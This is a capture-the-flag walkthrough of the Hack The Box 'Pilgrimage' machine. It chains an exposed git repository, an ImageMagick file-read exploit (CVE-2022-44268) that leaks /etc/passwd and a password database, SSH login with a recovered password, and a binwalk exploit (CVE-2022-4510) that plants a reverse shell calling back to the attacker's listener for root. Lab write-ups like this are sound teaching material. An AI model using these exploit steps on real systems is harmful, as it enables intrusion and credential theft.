Enumeration#
As always, we can begin with a port scan using nmap
:
╰─ nmap -sC -sV 10.129.179.216
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-24 19:21 EDT
Nmap scan report for 10.129.179.216
Host is up (0.032s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 20:be:60:d2:95:f6:28:c1:b7:e9:e8:17:06:f1:68:f3 (RSA)
| 256 0e:b6:a6:a8:c9:9b:41:73:74:6e:70:18:0d:5f:e0:af (ECDSA)
|_ 256 d1:4e:29:3c:70:86:69:b4:d7:2c:c8:0b:48:6e:98:04 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://pilgrimage.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.11 seconds
So we see that there is an HTTP site running on port 80 and it is named pilgrimage.htb
, so let’s add this to our /etc/hosts
file.
#in your /etc/hosts file
10.129.179.216 pilgrimage.htb
Then, we can go ahead and look at the site:
So, the site allows us to upload image files and shrink them. I’m going to perform up some directory enumeration with dirbuster
while I look around the site manually.
╰─ dirsearch -u http://pilgrimage.htb/
When we make an account, we gain access to a dashboard page that holds our previous file uploads and their results:
Let’s upload an image and analyze the file:
We can go to the link it generates and save our image for further inspection.
Initially, it does appear to shrink the image which is pretty nice, but exiftool
doesn’t tell me anything super useful:
╰─ ls -l
total 16
-rw-r--r-- 1 kali kali 3692 Jun 24 19:53 6497814f8e9bb.jpeg
-rw-r--r-- 1 kali kali 11073 Jun 24 17:58 cat.jpeg
╰─ exiftool 6497814f8e9bb.jpeg
ExifTool Version Number : 12.57
File Name : 6497814f8e9bb.jpeg
Directory : .
File Size : 3.7 kB
File Modification Date/Time : 2023:06:24 19:53:42-04:00
File Access Date/Time : 2023:06:24 19:53:42-04:00
File Inode Change Date/Time : 2023:06:24 19:53:42-04:00
File Permissions : -rw-r--r--
File Type : JPEG
File Type Extension : jpg
---SNIP---
Using the identify
command and the -verbose
flag set, we can determine how this file was made:
╰─ identify -verbose 6497814f8e9bb.jpeg
Image:
Filename: 6497814f8e9bb.jpeg
Format: JPEG (Joint Photographic Experts Group JFIF format)
Mime type: image/jpeg
Class: DirectClass
Geometry: 112x113+0+0
---SNIP---
Filesize: 3692B
Number pixels: 12656
Pixels per second: 35.689MB
User time: 0.000u
Elapsed time: 0:01.000
Version: ImageMagick 6.9.11-60 Q16 x86_64 2021-01-25 https://imagemagick.org
We see that the image was shrunken down using ImageMagick 6.9.11
, which we can find a few exploits for once we do some googling.
One of our first results shows us a Proof of Concept for arbitrary file read on ImageMagick 7.1
, so this should work for us.
CVE-2022-44268#
Before we move on to using this exploit, let’s go over CVE-2022-44268. You can read all the details yourself here but I will share my short interpretation.
This vulnerability was discovered during an APT simulation and it arises when ImageMagick
parses a .png
file, specifically when resizing the image. The resulting image could have embedded the content of an arbitrary remote file from the website, if the ImageMagick
binary has permissions to read it.
Here is how it works:
- We (the attacker) craft a PNG file or use an existing one and add a textual chunk type (e.g.,
tEXt
). More about PNG types - If the keyword for the chunk is the string “
profile
” (without quotes), thenImageMagick
will interpret the text string as a filename and will load the content as a raw profile. - Then, when we download the file it will contain the content of the remote file embedded in the image.
To be more specific, when we upload a file with this textual chunk type:
- The
ReadOnePNGImage
function reads thetEXt
chunk from the PNG file. - The
SetImageProfile
function checks if the keyword equals “profile
”. If it does, the text string is copied as a filename and the content is saved. - The
FileToStringInfo
function stores the content intostring_info->datum
. - If a valid (and accessible) filename is provided, the content is returned to the caller function (
FileToStringInfo
) and theStringInfo
object will return to theSetImageProperty
function, saving the blob into the new image generated, thanks to the functionSetImageProfile
.
Arbitrary File Read#
The python script that we’ve downloaded does exactly this, it makes an image, specifies the keyword for the text chunk, and adds the target file to read in the data of the image.
Let’s test it out on the target site:
╰─ python3 generate.py -f "/etc/passwd" -o etcpasswd.png
[>] ImageMagick LFI PoC - by Sybil Scan Research <research@sybilscan.com>
[>] Generating Blank PNG
[>] Blank PNG generated
[>] Placing Payload to read /etc/passwd
[>] PoC PNG generated > etcpasswd.png
Now, we need to upload this image to the site, shrink it, and download the result and see if the file contents were encoded as we expect.
When running that same command from earlier, we see a much larger section of the image data, which is hex encoded.
╰─ identify -verbose 6497906936ee4.png
Image:
Filename: 6497906936ee4.png
Format: PNG (Portable Network Graphics)
---SNIP---
png:IHDR.width,height: 128, 128
png:sRGB: intent=0 (Perceptual Intent)
png:text: 4 tEXt/zTXt/iTXt chunks were found
png:tIME: 2023-06-25T00:55:05Z
Raw profile type:
1437
726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d
6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f
---SNIP---
737368643a2f7573722f7362696e2f6e6f6c6f67696e0a5f6c617572656c3a783a393938
3a3939383a3a2f7661722f6c6f672f6c617572656c3a2f62696e2f66616c73650a
signature: 78b9dfbaedd0d5cd7cb91c9ff9c2c2c925fd67a642483e6cd977973230841b28
Artifacts:
filename: 6497906936ee4.png
verbose: true
Tainted: False
Filesize: 1688B
Number pixels: 16384
Pixels per second: 32.7092MB
User time: 0.000u
Elapsed time: 0:01.000
Version: ImageMagick 6.9.11-60 Q16 x86_64 2021-01-25 https://imagemagick.org
Now we can take this huge hex string and plug it into CyberChef to decode it and review the file contents:
Now that we know it works and we found a potential target user, we need to actually think of some important file to read. Let’s check on our directory enumeration from earlier:
╰─ dirsearch -u http://pilgrimage.htb/
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /home/kali/.dirsearch/reports/pilgrimage.htb/-_23-06-24_19-43-05.txt
Error Log: /home/kali/.dirsearch/logs/errors-23-06-24_19-43-05.log
Target: http://pilgrimage.htb/
[19:43:05] Starting:
[19:43:06] 200 - 92B - /.git/config
[19:43:06] 200 - 2KB - /.git/COMMIT_EDITMSG
[19:43:06] 301 - 169B - /.git -> http://pilgrimage.htb/.git/
---SNIP---
[19:43:17] 403 - 555B - /assets/
[19:43:17] 301 - 169B - /assets -> http://pilgrimage.htb/assets/
[19:43:20] 302 - 0B - /dashboard.php -> /login.php
[19:43:24] 200 - 7KB - /index.php
[19:43:26] 200 - 6KB - /login.php
[19:43:27] 302 - 0B - /logout.php -> /
[19:43:33] 200 - 6KB - /register.php
[19:43:37] 301 - 169B - /tmp -> http://pilgrimage.htb/tmp/
[19:43:37] 403 - 555B - /tmp/
[19:43:39] 403 - 555B - /vendor/
Task Completed
We see that there is a git repository accessible so we can download it using git-dumper
:
╰─ python3 -m git_dumper http://pilgrimage.htb/.git git
[-] Testing http://pilgrimage.htb/.git/HEAD [200]
[-] Testing http://pilgrimage.htb/.git/ [403]
[-] Fetching common files
---SNIP---
Looking around at the database.php
file we see the following mention of a database that might be interesting to read:
╰─ cat dashboard.php
<?php
session_start();
if(!isset($_SESSION['user'])) {
header("Location: /login.php");
exit(0);
}
function returnUsername() {
return "\"" . $_SESSION['user'] . "\"";
}
function fetchImages() {
$username = $_SESSION['user'];
$db = new PDO('sqlite:/var/db/pilgrimage');
$stmt = $db->prepare("SELECT * FROM images WHERE username = ?");
$stmt->execute(array($username));
$allImages = $stmt->fetchAll(\PDO::FETCH_ASSOC);
return json_encode($allImages);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
---SNIP---
Foothold#
So, same as before we can make a file with the python script, specifying that we want to read the /var/db/pilgrimage
file and review the image after we’ve shrunk it down.
╰─ python3 generate.py -f "/var/db/pilgrimage" -o database.png
[>] ImageMagick LFI PoC - by Sybil Scan Research <research@sybilscan.com>
[>] Generating Blank PNG
[>] Blank PNG generated
[>] Placing Payload to read /var/db/pilgrimage
[>] PoC PNG generated > database.png
Then, following the same steps as last time, you’ll notice that there are a ton of zeros in the text chunk. I opted to scroll through and only decode the hex strings that had some data to examine. Here is what that looked like after I plugged it into the decoder:
Now, we’ve got what looks like a password and we can try to use it to SSH in as the emily
user:
─ ssh emily@pilgrimage.htb
emily@pilgrimage.htb's password:
---SNIP---
emily@pilgrimage:~$ ls
user.txt
Privilege Escalation#
Now we can begin to try and escalate our privileges. Running linpeas.sh
didn’t help me all that much but looking in the emily
user’s /.config
directory may give us some hints.
emily@pilgrimage:~/.config$ ls -l
total 4
drwxr-xr-x 6 emily emily 4096 Jun 8 00:10 binwalk
emily@pilgrimage:~/.config$ binwalk --help
Binwalk v2.3.2
Craig Heffner, ReFirmLabs
https://github.com/ReFirmLabs/binwalk
Usage: binwalk [OPTIONS] [FILE1] [FILE2] [FILE3] ...
---SNIP---
We can see here that the version of binwalk
being used is 2.3.2
, which after some more light googling is vulnerable to CVE-2022-4510.
CVE-2022-4510#
When binwalk
is run in extraction mode (with the -e
flag), it can be tricked into interpreting a file as a plugin if we have the correct PFS (perfectly forwarding secure) filesystem header that binwalk
will interpret as a valid filesystem signature.
Thankfully, there is a super useful exploit that we can find here that gives us a reverse shell.
I would recommend reading through it to get a better idea of how this vulnerability works but to summarize:
- We input an image, our IP address, and our listening port.
- Appends a reverse shell payload to the input image, then makes a new image.
- Adds the PFS header to ensure that the payload gets executed by the
binwalk
program.
Exploiting binwalk
#
So, doing this as the emily
user won’t give us too much because we would just get a shell as that user. Let’s use pspy
to enumerate some processes and see if the root
user is using binwalk
anywhere:
emily@pilgrimage:~$ ./pspy64s
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
---SNIP---
2023/06/25 11:56:37 CMD: UID=0 PID=741 | /bin/bash /usr/sbin/malwarescan.sh
2023/06/25 11:56:37 CMD: UID=0 PID=740 | /lib/systemd/systemd-logind
2023/06/25 11:56:37 CMD: UID=0 PID=74 |
2023/06/25 11:56:37 CMD: UID=0 PID=739 | /usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/
---SNIP---
We see here that the malwarescan.sh
bash script is being run with a UID of zero, which is the root
user’s ID.
Let’s take a look at that script at /usr/sbin/malwarescan.sh
:
emily@pilgrimage:~$ cat /usr/sbin/malwarescan.sh
#!/bin/bash
blacklist=("Executable script" "Microsoft executable")
/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
binout="$(/usr/local/bin/binwalk -e "$filename")"
for banned in "${blacklist[@]}"; do
if [[ "$binout" == *"$banned"* ]]; then
/usr/bin/rm "$filename"
break
fi
done
done
This is exactly what we need, the script is executing a vulnerable version of binwalk
with the -e
flag on files in the /var/www/pilgrimage/htb/shrunk/
directory, which we are allowed to write into.
All we need to do is run the exploit code with our IP and listener port, rename the image file, and upload it to the /shrunk
directory and wait for a shell:
# creating the malicious image
╰─ python3 CVE-2022-4510.py cat.jpeg 10.10.14.86 1337
################################################
------------------CVE-2022-4510----------------
################################################
--------Binwalk Remote Command Execution--------
------Binwalk 2.1.2b through 2.3.2 included-----
------------------------------------------------
################################################
----------Exploit by: Etienne Lacoche-----------
---------Contact Twitter: @electr0sm0g----------
------------------Discovered by:----------------
---------Q. Kaiser, ONEKEY Research Lab---------
---------Exploit tested on debian 11------------
################################################
You can now rename and share binwalk_exploit and start your local netcat listener.
#copying the file with a different name
╰─ cp binwalk_exploit.png privesc.png
╰─ ls -l
---SNIP---
-rw-r--r-- 1 kali kali 11754 Jun 24 22:21 binwalk_exploit.png
-rw-r--r-- 1 kali kali 11073 Jun 24 17:58 cat.jpeg
-rw-r--r-- 1 kali kali 2763 Jun 24 22:20 CVE-2022-4510.py
-rw-r--r-- 1 kali kali 11754 Jun 24 22:21 privesc.png
Now, just upload this to the /var/www/pilgrimage.htb/shrunk/
directory and open your listener:
# our netcat listener after uploading the file
╰─ nc -lvp 1337
listening on [any] 1337 ...
connect to [10.10.14.86] from pilgrimage.htb [10.129.179.216] 34624
whoami
root